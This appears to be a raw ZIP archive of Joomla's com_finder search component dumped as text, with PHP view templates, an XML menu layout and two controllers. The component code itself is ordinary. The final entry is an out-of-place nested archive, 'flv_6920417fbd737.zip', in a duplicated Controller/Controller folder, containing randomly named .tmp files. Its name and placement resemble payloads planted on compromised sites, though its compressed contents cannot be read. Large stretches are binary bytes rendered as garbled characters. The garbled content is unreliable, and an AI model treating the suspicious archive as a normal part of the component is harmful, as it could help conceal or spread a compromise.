use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>
<?php HTMLHelper::_('bootstrap.dropdown', '.dropdown-toggle'); ?>
<div class="sorting">
    <label id="sorting_label" for="sorting_btn"><?php echo Text::_('COM_FINDER_SORT_BY'); ?></label>
    <div class="sorting__select btn-group">
        <?php foreach ($this->sortOrderFields as $sortOrderField) : ?>
            <?php if ($sortOrderField->active) : ?>
                <button id="sorting_btn" class="btn btn-secondary dropdown-toggle" type="button"
                        data-bs-toggle="dropdown"
                        aria-haspopup="listbox"
                        aria-expanded="false" aria-controls="finder_sorting_list">
                    <?php echo $this->escape($sortOrderField->label); ?>
                </button>
                <?php
                break;
            endif; ?>
        <?php endforeach; ?>

        <ul id="finder_sorting_list" class="sorting__list block dropdown-menu" role="listbox" aria-labelledby="finder_sorting_desc">
            <?php foreach ($this->sortOrderFields as $sortOrderField) : ?>
            <li  class="sorting__list-li <?php echo $sortOrderField->active ? 'sorting__list-li-active' : ''; ?>">
                <a class="dropdown-item" role="option" href="<?php echo Route::_($sortOrderField->url);?>" <?php echo $sortOrderField->active ? 'aria-current="true"' : ''; ?>>
                    <?php echo $this->escape($sortOrderField->label); ?>
                </a>
            </li>
            <?php endforeach; ?>
        </ul>
    </div>
    <div class="clearfix"></div>
</div>
PK���\Y-�  "com_finder/tmpl/search/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TITLE">
		<help
			key = "Menu_Item:_Search"
		/>
		<message>
			<![CDATA[COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TEXT]]>
		</message>
	</layout>

	<fields name="request" addfieldprefix="Joomla\Component\Finder\Administrator\Field" >
		<fieldset name="request">
			<field
				name="q"
				type="text"
				label="COM_FINDER_PREFILL_SEARCH_LABEL"
			/>
			<field
				name="f"
				type="searchfilter"
				label="COM_FINDER_SELECT_FILTER_LABEL"
				default=""
			/>
		</fieldset>
	</fields>
	<fields name="params">
		<fieldset name="basic">
			<field
				name="show_date_filters"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="show_advanced"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="expand_advanced"
				type="list"
				label="COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field type="spacer" />
			<field
				name="show_taxonomy"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_TAXONOMY_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="show_description"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="description_length"
				type="number"
				label="COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL"
				filter="integer"
				default=""
				useglobal="true"
			/>
			<field
				name="show_image"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_IMAGE_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="image_class"
				type="text"
				label="COM_FINDER_CONFIG_IMAGE_CLASS_LABEL"
				default=""
				useglobal="true"
				validate="CssIdentifier"
				showon="show_image!:0"
			/>
			<field
				name="link_image"
				type="list"
				label="COM_FINDER_CONFIG_LINKED_IMAGE_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				showon="show_image!:0"
			>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
			<field
				name="show_date"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_DATE_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="show_url"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_URL_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field type="spacer" />
		</fieldset>
		<fieldset name="advanced">
			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				validate="options"
				class="form-select-color-state"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				validate="options"
				class="form-select-color-state"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>
			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				validate="options"
				class="form-select-color-state"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="list_limit"
				type="list"
				label="JGLOBAL_LIST_LIMIT"
				default="20"
				validate="options"
				>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>
			<field
				name="allow_empty_query"
				type="list"
				label="COM_FINDER_ALLOW_EMPTY_QUERY_LABEL"
				description="COM_FINDER_ALLOW_EMPTY_QUERY_DESC"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="show_suggested_query"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_SUGGESTED_QUERY_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="show_explained_query"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_EXPLAINED_QUERY_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="sort_order"
				type="list"
				label="COM_FINDER_CONFIG_SORT_ORDER_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="relevance">COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE</option>
				<option value="title">COM_FINDER_CONFIG_SORT_OPTION_TITLE</option>
				<option value="date">COM_FINDER_CONFIG_SORT_OPTION_START_DATE</option>
				<option value="price">COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE</option>
				<option value="sale_price">COM_FINDER_CONFIG_SORT_OPTION_SALES_PRICE</option>
			</field>
			<field
				name="show_sort_order"
				type="radio"
				label="COM_FINDER_CONFIG_SHOW_SORT_ORDER_LABEL"
				layout="joomla.form.field.radio.switcher"
				default="0"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="shown_sort_order"
				type="list"
				label="COM_FINDER_CONFIG_SORT_ORDER_FIELDS_LABEL"
				layout="joomla.form.field.list-fancy-select"
				multiple="true"
				validate="options"
				showon="show_sort_order:1"
				>
				<option value="relevance">COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE</option>
				<option value="title">COM_FINDER_CONFIG_SORT_OPTION_TITLE</option>
				<option value="date">COM_FINDER_CONFIG_SORT_OPTION_START_DATE</option>
				<option value="price">COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE</option>
				<option value="sale_price">COM_FINDER_CONFIG_SORT_OPTION_SALES_PRICE</option>
			</field>
			<field
				name="sort_direction"
				type="list"
				label="COM_FINDER_CONFIG_SORT_DIRECTION_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="desc">COM_FINDER_CONFIG_SORT_OPTION_DESCENDING</option>
				<option value="asc">COM_FINDER_CONFIG_SORT_OPTION_ASCENDING</option>
			</field>
		</fieldset>
		<fieldset name="integration">
			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				validate="options"
				class="form-select-color-state"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>
	</fields>
</metadata>
PK���\ŃW��"com_finder/tmpl/search/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->document->getWebAssetManager()
    ->useStyle('com_finder.finder')
    ->useScript('com_finder.finder');

?>
<div class="com-finder finder">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <h1>
            <?php if ($this->escape($this->params->get('page_heading'))) : ?>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            <?php else : ?>
                <?php echo $this->escape($this->params->get('page_title')); ?>
            <?php endif; ?>
        </h1>
    <?php endif; ?>
    <div id="search-form" class="com-finder__form">
        <?php echo $this->loadTemplate('form'); ?>
    </div>
    <?php // Load the search results layout if we are performing a search. ?>
    <?php if ($this->query->search === true) : ?>
        <div id="search-results" class="com-finder__results">
            <?php echo $this->loadTemplate('results'); ?>
        </div>
    <?php endif; ?>
</div>
PK���\��|�)com_finder/tmpl/search/default_result.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Finder\Administrator\Helper\LanguageHelper;
use Joomla\Component\Finder\Administrator\Indexer\Helper;
use Joomla\Component\Finder\Administrator\Indexer\Taxonomy;
use Joomla\String\StringHelper;

$user             = Factory::getApplication()->getIdentity();
$show_description = $this->params->get('show_description', 1);

if ($show_description) {
    // Calculate number of characters to display around the result
    $term_length = StringHelper::strlen($this->query->input);
    $desc_length = $this->params->get('description_length', 255);
    $pad_length  = $term_length < $desc_length ? (int) floor(($desc_length - $term_length) / 2) : 0;

    // Make sure we highlight term both in introtext and fulltext
    $full_description = $this->result->description;
    if (!empty($this->result->summary) && !empty($this->result->body)) {
        $full_description = Helper::parse($this->result->summary . $this->result->body);
    }

    // Find the position of the search term
    $pos = $term_length ? StringHelper::strpos(StringHelper::strtolower($full_description), StringHelper::strtolower($this->query->input)) : false;

    // Find a potential start point
    $start = ($pos && $pos > $pad_length) ? $pos - $pad_length : 0;

    // Find a space between $start and $pos, start right after it.
    $space = StringHelper::strpos($full_description, ' ', $start > 0 ? $start - 1 : 0);
    $start = ($space && $space < $pos) ? $space + 1 : $start;

    $description = HTMLHelper::_('string.truncate', StringHelper::substr($full_description, $start), $desc_length, true);
}

$showImage  = $this->params->get('show_image', 0);
$imageClass = $this->params->get('image_class', '');
$extraAttr  = [];

if ($showImage && !empty($this->result->imageUrl) && $imageClass !== '') {
    $extraAttr['class'] = $imageClass;
}

$icon = '';
if (!empty($this->result->mime)) {
    $icon = '<span class="icon-file-' . $this->result->mime . '" aria-hidden="true"></span> ';
}


$show_url = '';
if ($this->params->get('show_url', 1)) {
    $show_url = '<cite class="result__title-url">' . $this->baseUrl . Route::_($this->result->cleanURL) . '</cite>';
}
?>
<li class="result__item">
    <?php if ($showImage && isset($this->result->imageUrl)) : ?>
        <figure class="<?php echo htmlspecialchars($imageClass, ENT_COMPAT, 'UTF-8'); ?> result__image">
            <?php if ($this->params->get('link_image') && $this->result->route) : ?>
                <a href="<?php echo Route::_($this->result->route); ?>">
                    <?php echo HTMLHelper::_('image', $this->result->imageUrl, $this->result->imageAlt, $extraAttr, false, -1); ?>
                </a>
            <?php else : ?>
                <?php echo HTMLHelper::_('image', $this->result->imageUrl, $this->result->imageAlt, $extraAttr, false, -1); ?>
            <?php endif; ?>
        </figure>
    <?php endif; ?>
    <p class="result__title">
        <?php if ($this->result->route) : ?>
            <?php echo HTMLHelper::link(
                Route::_($this->result->route),
                '<span class="result__title-text">' . $icon . $this->result->title . '</span>' . $show_url,
                [
                            'class' => 'result__title-link'
                    ]
            ); ?>
        <?php else : ?>
            <?php echo $this->result->title; ?>
        <?php endif; ?>
    </p>
    <?php if ($show_description && $description !== '') : ?>
        <p class="result__description">
            <?php if ($this->result->start_date && $this->params->get('show_date', 1)) : ?>
                <time class="result__date" datetime="<?php echo HTMLHelper::_('date', $this->result->start_date, 'c'); ?>">
                    <?php echo HTMLHelper::_('date', $this->result->start_date, Text::_('DATE_FORMAT_LC3')); ?>
                </time>
            <?php endif; ?>
            <?php echo $description; ?>
        </p>
    <?php endif; ?>
    <?php $taxonomies = $this->result->getTaxonomy(); ?>
    <?php if (count($taxonomies) && $this->params->get('show_taxonomy', 1)) : ?>
        <ul class="result__taxonomy">
            <?php foreach ($taxonomies as $type => $taxonomy) : ?>
                <?php if ($type == 'Language' && (!Multilanguage::isEnabled() || (isset($taxonomy[0]) && $taxonomy[0]->title == '*'))) : ?>
                    <?php continue; ?>
                <?php endif; ?>
                <?php $branch = Taxonomy::getBranch($type); ?>
                <?php if ($branch->state == 1 && in_array($branch->access, $user->getAuthorisedViewLevels())) : ?>
                    <?php $taxonomy_text = []; ?>
                    <?php foreach ($taxonomy as $node) : ?>
                        <?php if ($node->state == 1 && in_array($node->access, $user->getAuthorisedViewLevels())) : ?>
                            <?php $taxonomy_text[] = $node->title; ?>
                        <?php endif; ?>
                    <?php endforeach; ?>
                    <?php if (count($taxonomy_text)) : ?>
                        <li class="result__taxonomy-item result__taxonomy--<?php echo $type; ?>">
                            <span><?php echo Text::_(LanguageHelper::branchSingular($type)); ?>:</span>
                            <?php echo Text::_(LanguageHelper::branchSingular(implode(',', $taxonomy_text))); ?>
                        </li>
                    <?php endif; ?>
                <?php endif; ?>
            <?php endforeach; ?>
        </ul>
    <?php endif; ?>
</li>
PK���\�fvv'com_finder/tmpl/search/default_form.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/*
* This segment of code sets up the autocompleter.
*/
if ($this->params->get('show_autosuggest', 1)) {
    $this->document->getWebAssetManager()->usePreset('awesomplete');
    $this->document->addScriptOptions('finder-search', ['url' => Route::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component', false)]);

    Text::script('JLIB_JS_AJAX_ERROR_OTHER');
    Text::script('JLIB_JS_AJAX_ERROR_PARSE');
}

?>

<form action="<?php echo Route::_($this->query->toUri()); ?>" method="get" class="js-finder-searchform">
    <?php echo $this->getFields(); ?>
    <fieldset class="com-finder__search word mb-3">
        <legend class="com-finder__search-legend visually-hidden">
            <?php echo Text::_('COM_FINDER_SEARCH_FORM_LEGEND'); ?>
        </legend>
        <div class="form-inline">
            <label for="q" class="me-2">
                <?php echo Text::_('COM_FINDER_SEARCH_TERMS'); ?>
            </label>
            <div class="input-group">
                <input type="text" name="q" id="q" class="js-finder-search-query form-control" value="<?php echo $this->escape($this->query->input); ?>">
                <button type="submit" class="btn btn-primary">
                    <span class="icon-search icon-white" aria-hidden="true"></span>
                    <?php echo Text::_('JSEARCH_FILTER_SUBMIT'); ?>
                </button>
                <?php if ($this->params->get('show_advanced', 1)) : ?>
                    <?php HTMLHelper::_('bootstrap.collapse'); ?>
                    <button class="btn btn-secondary" type="button" data-bs-toggle="collapse" data-bs-target="#advancedSearch" aria-expanded="<?php echo ($this->params->get('expand_advanced', 0) ? 'true' : 'false'); ?>">
                        <span class="icon-search-plus" aria-hidden="true"></span>
                        <?php echo Text::_('COM_FINDER_ADVANCED_SEARCH_TOGGLE'); ?></button>
                <?php endif; ?>
            </div>
        </div>
    </fieldset>

    <?php if ($this->params->get('show_advanced', 1)) : ?>
        <fieldset id="advancedSearch" class="com-finder__advanced js-finder-advanced collapse<?php if ($this->params->get('expand_advanced', 0)) {
            echo ' show';
                                                                                             } ?>">
            <legend class="com-finder__search-advanced visually-hidden">
                <?php echo Text::_('COM_FINDER_SEARCH_ADVANCED_LEGEND'); ?>
            </legend>
            <?php if ($this->params->get('show_advanced_tips', 1)) : ?>
                <div class="com-finder__tips card card-outline-secondary mb-3">
                    <div class="card-body">
                        <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_INTRO'); ?>
                        <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_AND'); ?>
                        <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_NOT'); ?>
                        <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_OR'); ?>
                        <?php if ($this->params->get('tuplecount', 1) > 1) : ?>
                            <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_PHRASE'); ?>
                        <?php endif; ?>
                        <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_OUTRO'); ?>
                    </div>
                </div>
            <?php endif; ?>
            <div id="finder-filter-window" class="com-finder__filter">
                <?php echo HTMLHelper::_('filter.select', $this->query, $this->params); ?>
            </div>
        </fieldset>
    <?php endif; ?>
</form>
PK���\@�u%/com_finder/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Site\Controller;

use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\Component\Finder\Administrator\Helper\LanguageHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Finder Component Controller.
 *
 * @since  2.5
 */
class DisplayController extends BaseController
{
    /**
     * Method to display a view.
     *
     * @param   boolean  $cachable   If true, the view output will be cached. [optional]
     * @param   array    $urlparams  An array of safe URL parameters and their variable types,
     *                               for valid values see {@link \JFilterInput::clean()}. [optional]
     *
     * @return  static  This object is to support chaining.
     *
     * @since   2.5
     */
    public function display($cachable = false, $urlparams = [])
    {
        $input    = $this->app->getInput();
        $cachable = true;

        // Load plugin language files.
        LanguageHelper::loadPluginLanguage();

        // Set the default view name and format from the Request.
        $viewName = $input->get('view', 'search', 'word');
        $input->set('view', $viewName);

        // Don't cache view for search queries
        if ($input->get('q', null, 'string') || $input->get('f', null, 'int') || $input->get('t', null, 'array')) {
            $cachable = false;
        }

        $safeurlparams = [
            'f'    => 'INT',
            'lang' => 'CMD',
        ];

        return parent::display($cachable, $safeurlparams);
    }
}
PK���\]�2�

3com_finder/src/Controller/SuggestionsController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Site\Controller;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Suggestions \JSON controller for Finder.
 *
 * @since  2.5
 */
class SuggestionsController extends BaseController
{
    /**
     * Method to find search query suggestions. Uses awesomplete
     *
     * @return  void
     *
     * @since   3.4
     */
    public function suggest()
    {
        $app           = $this->app;
        $app->mimeType = 'application/json';

        // Ensure caching is disabled as it depends on the query param in the model
        $app->allowCache(false);

        $suggestions = $this->getSuggestions();

        // Send the response.
        $app->setHeader('Content-Type', $app->mimeType . '; charset=' . $app->charSet);
        $app->sendHeaders();
        echo '{ "suggestions": ' . json_encode($suggestions) . ' }';
    }

    /**
     * Method to find search query suggestions for OpenSearch
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public function opensearchsuggest()
    {
        $app           = $this->app;
        $app->mimeType = 'application/json';
        $result        = [];
        $result[]      = $app->getInput()->request->get('q', '', 'string');

        $result[] = $this->getSuggestions();

        // Ensure caching is disabled as it depends on the query param in the model
        $app->allowCache(false);

        // Send the response.
        $app->setHeader('Content-Type', $app->mimeType . '; charset=' . $app->charSet);
        $app->sendHeaders();
        echo json_encode($result);
    }

    /**
     * Method to retrieve the data from the database
     *
     * @return  array  The suggested words
     *
     * @since   3.4
     */
    protected function getSuggestions()
    {
        $return = [];

        $params = ComponentHelper::getParams('com_finder');

        if ($params->get('show_autosuggest', 1)) {
            // Get the suggestions.
            $model  = $this->getModel('Suggestions');
            $return = $model->getItems();
        }

        // Check the data.
        if (empty($return)) {
            $return = [];
        }

        return $return;
    }
}
PK���\#{����:com_finder/src/Controller/Controller/flv_6920417fbd737.zipnu&1i�PK�Tu[^�k��b_6920417fbd737.tmp�Ums�H�+S���3Ë著�4�1�q1�gQ�`pQ�Ťr�}g�w��h���{��?����.0��j�CVHւ,�5?!���*�'U����j��5"�J�	P� )�d�"˙���3I1*
sS+�l4A�A8sv;�(,p�#,���:W%�Ņ���g��L�l��g�&g@�ST{IB�@����4EQ\C�s��NO5�6٫F^�a7�
>8+�)RPg���1��`�'z݄X�C����!���_�[���$_Ѹ�/����j�oN���y+'�����~q�$��}�%�&��2���w����~�p��o7a�=.��ފ�u<ێ����c�1&f�F�͜p�C�!s���94�7;�x�@(81��
����8ˡ5� 3=y�?@*�L����~�"h'm���m�~����dt�� T�ϋ�{Y/�-����V� ��#�.��8�DIJlUAk<�Z�Q����v��U�U���I�����$N�G�O�x%G��*��OBg�A���_�Eǎ���X����I̾p�Uh��))�	u��a��K��Z�g�:_�2��Gҙ��Rl	v��!19�ͬZ���,��3��z�,g���yn���yA�,�T�XZ�J�o&�V?���5�аZs��ku厗5by�,��e�#�갤U�iœid�w\ϲ��(�Oƣ��2=��Y-�*zT�K�s�䄦A<�ɇ��h�fL�ANB�,�{��&�d��w�"�Bo0[���U�fS�� }yj��>��)T&�z�)i�>�o锢v�BU������g���ω�4``��,�l��۳%E.
 7�lS�&(	�XEp$8���V�A��Wwt�D�����M�<�p}���!"������MZ��l�iv���7M�Mk��
��0/0wRT�p�dv|d7D��FF\_�PK�Tu[�n�	�c_6920417fbd737.tmp]x���H��|
U�j�w�����7Wn{i䯼�ͼ�ܚ���	�$�)�ĉ�_�>}������?���W����l�~�Z�5�N:W�0]
յ�S��	��h�]V���+�z��9p5i��'�:�����'����?��/e�ŭ�U�f��U,]{�\ܽţ�Q�"	���M^���(����K���{+�ځi`�߮7�6.�e�����9�%BKkX��F���y��e�x���@�X���H�@2�A�����-�_��ۭAN�s��
����{�
`]ld�"�:��5%%&���k��#񬗡?����z�3�7�u�����[�8�����*G옶=x�?���[��u\�T,��T["U�W_�f�!����������TbA����X2'p"�:��hK�����Ӗ
G���>x�l6��{���/�9�!���"�s�S����}#�W��H��l�{�"��}�5;&[U#�O�58�\�G��Dm�
wb!&c��s��r�C��KJF��$���Ȳl�!Kt����|޲�CrB4��j\=T1y*�؂���^�R5�>�)Q!&g3C����}�va���H#��v��"C
���D6]ɥ
N/&	w�r;K�y��&r�:e�[�%��0�]-�U��5�n#�.��n�C����{�6��޳�Բ�g�aY����	em^��y����Zh��Ś�K���sD�l+��Ů�H�[m�Z�V���$�m�=٫�v=�i�{�M�s�D	�栻�"�H<��ne��9��D�����(칷?�<����.�ʧ����+ݒ\N'��i^�G3�Lr8��vM�ǼdX�mŋLp�H��Q|�����>�5Lcaۑ�*<�bQ`�$96��_x�U�ʺ���.�hp��J�P�T.���c�J�"]0+�ܺ�&��Q\�.��;�ӕ�o߰c��/B��C@�>,���LO�Y�F/�4m�f�ϝ�7�G�)j�&�䪯 ��yW��c��f��j>����SPos�O@���I4q���}X��m�N}��Nf�0�N��W}N��2���"�j}@ls�8��!��fp�6�}�ӛ~�X��kǷ'5o�L�]��r�
�c��|��|�3b�1�<8�j�%�Q+�)f:d%�Q����`��陕zЭ�o>�f�S}Ϋ!��p���
��R�7BB�r�*tR[E�=�h����yU�A���i�l�z]�:ɯ3�;���|0f���s�#�������A
L�!�c�ۙ1gY�7n��������_���Η�exhsu�r��b����<����G��ZD��ɸP��\D�KX]
,�̀�S;���J=�2Vl�<�i��	�ʒ�\>��%d����&�4��@�1!r��-B�-�Qt��ɘGd!V#�5l��0S�Oz�8��HTKM��(��k�a���|!K�蓷�8�n��3Hb�B|ءky}��*ت��|�pk.�`;Y>n���
�lkS{�SrХ@w:CŠ�Se~�E���7�#�'�4:��sv^�k4�L�.�y�,���(m�L�~����&�t��s���*�!�,Ai��%Ȉ����dL�ϟ�L7��M/�Ϧ���_
�R;Դ�MU�?*���YE� ��K]�1ch����Q�P��� D#a��y�����!��0���<@���[�:�_�P�4�*����~l��j��+�ub�%$�nꃅ'�/���&��˚i����;)_o�A�x�Y6���U1*��`p{l>j/>�"U�8fA/�J����
햻GO�P��*�g%f8��z}	���hh���#C6�e��G����"�p�
����/l�⌗M��PR��U��ٍ�N�h_�:���䲭��|Myb!����w;���P��}J>j,�OZ�U0�a��J{߻��S&(#��-��x��Rq��s 1�^`J&�z.p��V�^g�*����_"�	��lה>�m��ճН�o�|u���/&������?o�z�-����B�6$b�P�5o}���|Y4���U
�J�h�NIr�5m���x%8mO��`і��L�H�U��ʙq:6ڦβ�NPAP /�hP�b4��٨�a�vV?��N�Ƀ�>����m�iذ&��p�bO<�iq��h{���y�d�UdM)I����:�Z�3e�4�1���5��z����Q��]��+��2^���V��iE�XY���H7m��]ug[<9��h����cK0�	��A1��1�'�/,}z�-�Ւ�ed6���K;V{�UQ�y-�ROh16�|EG�nȲ5�(� a2^/�t)��ڗ*��_w����c̩Nr2�z ߟA&m_�/�s}	�~�֘)��/�*�
�v_@y0`�Ŵ+�
)|M�K�盕���+�d9�$.�J�-�7�W�8W�W��ǒ1�N�I۞32�S���$�6&q�&�N��FH�-u���=��V��ʄ��6s�h������#�������Dy~n��1�e���G=�HՐ�/`�Eh�3��6��
^��z!^�m�}U8T�I��ᯮ���n��&4��8ų�����`�ڴV�^\�
�'�P�C�� ����Йw*�OV���I���x�q�g��Q�*����@F=���ziQ"0�j@4��,K�5�mG	T�R�ߦTP8�"�E�[}_��WP*�t�����0H3�E?�2ǫ��7H|@��<17ij]M�E��g:�
�Yy	��)�7��Ŵ6v�ao�A��"E�>�(L��q@��\���C�pHsh�d� �J��
��r(}KJ�C�:���V�
�9D���,@
���#�>�	&'���,�q��c�gVk2̾3ʍ�^~$�����_E��x��(��/-�ڢ�z:��K��|�3�Ь�#����ڏ �X��
ݨ�����a���l�\�/,��pې�b����W�鑆��z|q��ů�&��͚���5b*���t:Yr�c��B�.����NT������ㆴ�D��m������yK<2F�w���ʢ��z�@C��(!"����d��G��.�y5��ג�
�_��1ɑ��_xlx�Υ�ݽ@_�	�"<�2��;��(U��L��K������c��fg`���� �U�*�N�l<^Q�,ˎgo�r�/4Y����;Uu̺�mx+R��e��Josq[�yg��ѰÁ8����E����ʑH��j��ـ�|>�J�:������$.�����&y����s��
(�חo_q��3/ύ�=�PK�'Ȣg�kP9O{gPu�KKܱȻ�}�.�#�
���4˕�R�#.��)d���<�⺨�p��'���N\t��S6HWC�RV�u(�l�\8#�ջ�a#!�/��ӆ1Ľ纩��Wߩ��O�Ö��7,��r�R{!t*��rk%>��Tߔ����Zo7�/�$3�x!���8��D�]�1�ᚠg.`|>��e����BQ˼ys��*�(��g�s
��M�T��ĸ�s�30\?8��U9?�P�

��Y��%�| %�R��I��H?GYb�ԓ0\EN�֔����t�ȷH+!uS��R��Ud]�6��qL���)W2�k�G
q�O��Ԁ�2���U�e��)�yd�c���*�c��
��>�=��_[�r�����̛?p��-߳0�/�E��;��ڒ#�5}�D��>a,�֔(���vœ��$��Q�AU�V"Y�:�'6x�I�GQ�1֍viS�,�$B6�Rn_.X��p�� ѓNr�F��CE�ܧ���8�(��}�X�w6�Z�w8q�g���fI��(ew��\�оm��	��u���WA"�aD���Eb�q���m��ó:���Y�b�/����O��V����@��7������!��?�;���p����F���;����������������5���uO�m��/�@�������1T���&kA`�ȋl̋��g)�}~Ʃֵ�ks�������w�
���X�?~�%ٴx�u�8L��1��_q��S�?��ˣ__�f
